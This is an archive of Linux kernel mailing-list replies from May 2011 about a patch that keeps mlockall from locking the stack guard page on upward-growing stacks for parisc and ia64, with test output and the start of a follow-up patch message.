Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 15:56:11 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <BANLkTikz-sGiy2NdzQMPzCWF64cVF-DZ7w@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz>
 <4DC7D37F.9040308@redhat.com> <20110509224511.GC15227@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1304981804 1948 80.91.229.12 (9 May 2011 22:56:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:56:44 +0000 (UTC)
Cc: Zdenek Kabelac <zkabelac@redhat.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>,
	Oleg Nesterov <oleg@redhat.com>, agk@redhat.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 00:56:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJZNT-0001Jt-KW
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 00:56:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755798Ab1EIW4e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 18:56:34 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:44769 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755782Ab1EIW4e (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 18:56:34 -0400
Original-Received: from mail-ey0-f174.google.com (mail-ey0-f174.google.com [209.85.215.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p49MuVk6007349
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Mon, 9 May 2011 15:56:32 -0700
Original-Received: by eyx24 with SMTP id 24so1680565eyx.19
        for <multiple recipients>; Mon, 09 May 2011 15:56:31 -0700 (PDT)
Original-Received: by 10.14.10.165 with SMTP id 37mr3307336eev.1.1304981791079; Mon, 09
 May 2011 15:56:31 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Mon, 9 May 2011 15:56:11 -0700 (PDT)
In-Reply-To: <20110509224511.GC15227@parisc-linux.org>
X-Spam-Status: No, hits=-104.971 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3711 gmane.linux.kernel:1137682
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3711>

On Mon, May 9, 2011 at 3:45 PM, Matthew Wilcox <matthew@wil.cx> wrote:
>
> Sounds to me like glibc should introduce an mlockmost() call that does all
> the work for you ...

That sounds like the worst of all worlds. Nobody will use it, now
there's two places to break, and how do you describe what you don't
want mlocked?

I dunno. There are so few applications that use mlock at *all* that I
wonder if it's even worth worrying about. And this one case we've
hopefully now fixed anyway.

But if people really want to fix mlockall(), I'd suggest some way of
just marking certain mappings as "sparse mappings", and then we can
just teach mlockall to not lock them. And then glibc could just mark
its locale archive that way - and maybe others would mark other
mappings.

We could still make such a "sparse mapping" act as locked for the
actual pages that are mapped into it - so it would have some kind of
real semantics. You could do a "mlockall(..)" on the process, and then
touch the sparse pages you know you want, and they'd be guaranteed to
be mapped after that.

We might even have a "mlockall(MCL_SPARSE)" flag that does that for
everything - basically guarantee that "whatever is mapped in now will
remain mapped in, but I won't bother paging it in just because you ask
me to do a mlockall".

So there are sane semantics for the concept, and it would be easy to
do in the kernel. Whether it's worth doing, I dunno.

                    Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 15:58:02 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <BANLkTikkA5H2D23u23FV0cTcL2bAT8BKWQ@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
 <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com> <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
 <1304979549.4865.56.camel@mulgrave.site> <BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
 <BANLkTi=DCKmN_BafFckKHOMfjWpVLQPDFA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1304981948 2541 80.91.229.12 (9 May 2011 22:59:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:59:08 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Tony Luck <tony.luck@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 00:58:56 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJZPk-00026x-3F
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 00:58:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755803Ab1EIW6z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 18:58:55 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:39843 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753663Ab1EIW6y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 18:58:54 -0400
Original-Received: from mail-ey0-f174.google.com (mail-ey0-f174.google.com [209.85.215.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p49MwM0n007537
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Mon, 9 May 2011 15:58:23 -0700
Original-Received: by eyx24 with SMTP id 24so1680870eyx.19
        for <multiple recipients>; Mon, 09 May 2011 15:58:22 -0700 (PDT)
Original-Received: by 10.14.52.80 with SMTP id d56mr3384343eec.161.1304981902062; Mon,
 09 May 2011 15:58:22 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Mon, 9 May 2011 15:58:02 -0700 (PDT)
In-Reply-To: <BANLkTi=DCKmN_BafFckKHOMfjWpVLQPDFA@mail.gmail.com>
X-Spam-Status: No, hits=-104.973 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3712 gmane.linux.kernel:1137683 gmane.linux.ports.ia64:21651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3712>

On Mon, May 9, 2011 at 3:53 PM, Tony Luck <tony.luck@gmail.com> wrote:
>
> P.S. while we could start both stacks on the same page and have the grow
> away from the start point, ia64 actually starts them out a fair distance apart
> and lets them run into each other (if you have enough memory to let them
> grow that far, and if ulimit -s doesn't stop them earlier)

Ahh, so you never actually have one single mapping that has both flags set?

In that case, I won't even worry about it.

One thing I did want to verify: did the mlockall() actually change the
stack size without that patch? Just to double-check that the patch
actually did change semantics visibly.

                 Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tony Luck <tony.luck@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 16:08:44 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <BANLkTikLJPCc5ffobAb5uhdryRqjGhpVAQ@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
	<alpine.LSU.2.00.1105081303540.16151@sister.anvils>
	<alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
	<BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
	<BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
	<1304979549.4865.56.camel@mulgrave.site>
	<BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
	<BANLkTi=DCKmN_BafFckKHOMfjWpVLQPDFA@mail.gmail.com>
	<BANLkTikkA5H2D23u23FV0cTcL2bAT8BKWQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1304982535 5642 80.91.229.12 (9 May 2011 23:08:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 23:08:55 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue May 10 01:08:48 2011
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1QJZZH-0006Kh-Qs
	for glpi-linux-ia64-2@lo.gmane.org; Tue, 10 May 2011 01:08:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755818Ab1EIXIq (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Mon, 9 May 2011 19:08:46 -0400
Original-Received: from mail-vx0-f174.google.com ([209.85.220.174]:44985 "EHLO
	mail-vx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755816Ab1EIXIp (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Mon, 9 May 2011 19:08:45 -0400
Original-Received: by vxi39 with SMTP id 39so6245194vxi.19
        for <multiple recipients>; Mon, 09 May 2011 16:08:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=xlJVfv5c+L1RhY4EUJ1HNeu0nN9Y3yFqga9lZoMLYdo=;
        b=SqN5McUmEH70177kSJWYei6dhW0HXb8WXw7v5dua7n0/OrsRGXDg48aTNtgFIqjnwc
         SAjFpmJUCFZJokSHl5rj9r6JO2voPW7PO9iz7b9yvxM/A/6pCmDpY1EhK8Zis1WAP77P
         lsBedqURR/CVn9Tf38PXkldDCjqxmfhPx5U4Q=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        b=OXoQWLezyftMefqpX5MQPeZbiRLC6ivkSPaySE+VrXSm8XBGfqCKHJ0gYPhCEM0Y3R
         qenYNldWxWa5NsXys66VYN5E0dR2K9xUSZnqjSaaeQ5aCGQtL1ZYyHOF3oncOBE2BadK
         3XyJFY0ix2oNewCAb5l50v2T6Lxm40BA7pDA8=
Original-Received: by 10.52.65.202 with SMTP id z10mr1974668vds.267.1304982524810; Mon,
 09 May 2011 16:08:44 -0700 (PDT)
Original-Received: by 10.220.44.194 with HTTP; Mon, 9 May 2011 16:08:44 -0700 (PDT)
In-Reply-To: <BANLkTikkA5H2D23u23FV0cTcL2bAT8BKWQ@mail.gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21652 gmane.linux.kernel:1137694 gmane.linux.ports.parisc:3713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/21652>

On Mon, May 9, 2011 at 3:58 PM, Linus Torvalds
<torvalds@linux-foundation.org> wrote:
> Ahh, so you never actually have one single mapping that has both flags set?
>
> In that case, I won't even worry about it.

Definitely not for normal processes - I'm not sure how both stacks are
set up for threads.

> One thing I did want to verify: did the mlockall() actually change the
> stack size without that patch? Just to double-check that the patch
> actually did change semantics visibly.

On an unpatched system I see this (lots more than one page of growth -
pages are 64K on this config):
6007fffffff50000-6007fffffff70000 rw-p 00000000 00:00 0
6007fffffff50000-6008000000750000 rw-p 00000000 00:00 0

On a patched system I see (this one has 16K pages - no growth)
600007ffff9d0000-600007ffff9d4000 rw-p 00000000 00:00 0
600007ffff9d0000-600007ffff9d4000 rw-p 00000000 00:00 0

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ia64
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 16:17:29 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <BANLkTiksgtgviJGmq925OtLNU4QynVLVtg@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
 <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com> <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
 <1304979549.4865.56.camel@mulgrave.site> <BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
 <BANLkTi=DCKmN_BafFckKHOMfjWpVLQPDFA@mail.gmail.com> <BANLkTikkA5H2D23u23FV0cTcL2bAT8BKWQ@mail.gmail.com>
 <BANLkTikLJPCc5ffobAb5uhdryRqjGhpVAQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1304983091 8354 80.91.229.12 (9 May 2011 23:18:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 23:18:11 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Tony Luck <tony.luck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 10 01:18:06 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QJZiH-0001g6-Gn
	for glk-linux-kernel-3@lo.gmane.org; Tue, 10 May 2011 01:18:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932511Ab1EIXRz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 9 May 2011 19:17:55 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:37976 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932437Ab1EIXRw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 9 May 2011 19:17:52 -0400
Original-Received: from mail-ey0-f174.google.com (mail-ey0-f174.google.com [209.85.215.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p49NHn3A009635
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Mon, 9 May 2011 16:17:50 -0700
Original-Received: by eyx24 with SMTP id 24so1683332eyx.19
        for <multiple recipients>; Mon, 09 May 2011 16:17:49 -0700 (PDT)
Original-Received: by 10.14.10.165 with SMTP id 37mr3314213eev.1.1304983069087; Mon, 09
 May 2011 16:17:49 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Mon, 9 May 2011 16:17:29 -0700 (PDT)
In-Reply-To: <BANLkTikLJPCc5ffobAb5uhdryRqjGhpVAQ@mail.gmail.com>
X-Spam-Status: No, hits=-104.974 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1137703 gmane.linux.ports.parisc:3714 gmane.linux.ports.ia64:21653
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1137703>

On Mon, May 9, 2011 at 4:08 PM, Tony Luck <tony.luck@gmail.com> wrote:
>
> Definitely not for normal processes - I'm not sure how both stacks are
> set up for threads.

We don't actually allow user space to set the growsup/growsdown bits
any more (we have PROT_GROWSUP and PROT_GROWSDOWN, but that is to
allow mprotect to not give an exact range, but say "apply this to the
end of a growsup/growsdown segment").

So the only thing that has those bits are things that the kernel sets
explicitly at exec time. So if ia64 doesn't set it, we're all good.

>> One thing I did want to verify: did the mlockall() actually change the
>> stack size without that patch? Just to double-check that the patch
>> actually did change semantics visibly.
>
> On an unpatched system I see this (lots more than one page of growth -
> pages are 64K on this config):
> 6007fffffff50000-6007fffffff70000 rw-p 00000000 00:00 0
> 6007fffffff50000-6008000000750000 rw-p 00000000 00:00 0
>
> On a patched system I see (this one has 16K pages - no growth)
> 600007ffff9d0000-600007ffff9d4000 rw-p 00000000 00:00 0
> 600007ffff9d0000-600007ffff9d4000 rw-p 00000000 00:00 0

Ok, I'll consider it tested. I'll commit it with Mikulas as author,
but note that I edited it so he won't get the blame if there's some
problem.

                             Linus

From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 16:25:23 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <BANLkTikUyUpa9-ZZBquHW4xSCEj8W8TgnA@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
 <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com> <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
 <1304979549.4865.56.camel@mulgrave.site> <BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
 <BANLkTi=DCKmN_BafFckKHOMfjWpVLQPDFA@mail.gmail.com> <BANLkTikkA5H2D23u23FV0cTcL2bAT8BKWQ@mail.gmail.com>
 <BANLkTikLJPCc5ffobAb5uhdryRqjGhpVAQ@mail.gmail.com> <BANLkTiksgtgviJGmq925OtLNU4QynVLVtg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1304983588 10578 80.91.229.12 (9 May 2011 23:26:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 23:26:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Tony Luck <tony.luck@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 01:26:18 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJZqD-0004OF-L1
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 01:26:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755855Ab1EIX0Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 19:26:16 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:40732 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755129Ab1EIX0P (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 19:26:15 -0400
Original-Received: from mail-ey0-f174.google.com (mail-ey0-f174.google.com [209.85.215.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p49NPi3w010388
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Mon, 9 May 2011 16:25:46 -0700
Original-Received: by eyx24 with SMTP id 24so1684474eyx.19
        for <multiple recipients>; Mon, 09 May 2011 16:25:44 -0700 (PDT)
Original-Received: by 10.14.10.69 with SMTP id 45mr3605685eeu.33.1304983544201; Mon, 09
 May 2011 16:25:44 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Mon, 9 May 2011 16:25:23 -0700 (PDT)
In-Reply-To: <BANLkTiksgtgviJGmq925OtLNU4QynVLVtg@mail.gmail.com>
X-Spam-Status: No, hits=-104.977 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3715 gmane.linux.kernel:1137706 gmane.linux.ports.ia64:21654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3715>

On Mon, May 9, 2011 at 4:17 PM, Linus Torvalds
<torvalds@linux-foundation.org> wrote:
>
> Ok, I'll consider it tested. I'll commit it with Mikulas as author,
> but note that I edited it so he won't get the blame if there's some
> problem.

Oh, and I marked it for stable too, although I don't know if any
distribution really cares about parisc or ia64. And I'm not sure that
ia64 even saw the lvm2 failure case - I'd have expected to hear about
it if it actually happens there.

                       Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hughd@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.ia64
Subject: [PATCH] vm: fix vm_pgoff wrap in upward expansion
Date: Mon, 9 May 2011 17:44:42 -0700 (PDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.LSU.2.00.1105091739140.7047@sister.anvils>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1304988292 31638 80.91.229.12 (10 May 2011 00:44:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 10 May 2011 00:44:52 +0000 (UTC)
Cc: Robert Swiecki <robert@swiecki.net>, linux-kernel@vger.kernel.org,
	linux-mm@kvack.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 02:44:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJb49-0005zJ-5o
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 02:44:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755845Ab1EJAoo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 20:44:44 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:60202 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753556Ab1EJAon (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 20:44:43 -0400
Original-Received: from hpaq12.eem.corp.google.com (hpaq12.eem.corp.google.com [172.25.149.12])
	by smtp-out.google.com with ESMTP id p4A0igKE013562
	for <linux-parisc@vger.kernel.org>; Mon, 9 May 2011 17:44:42 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
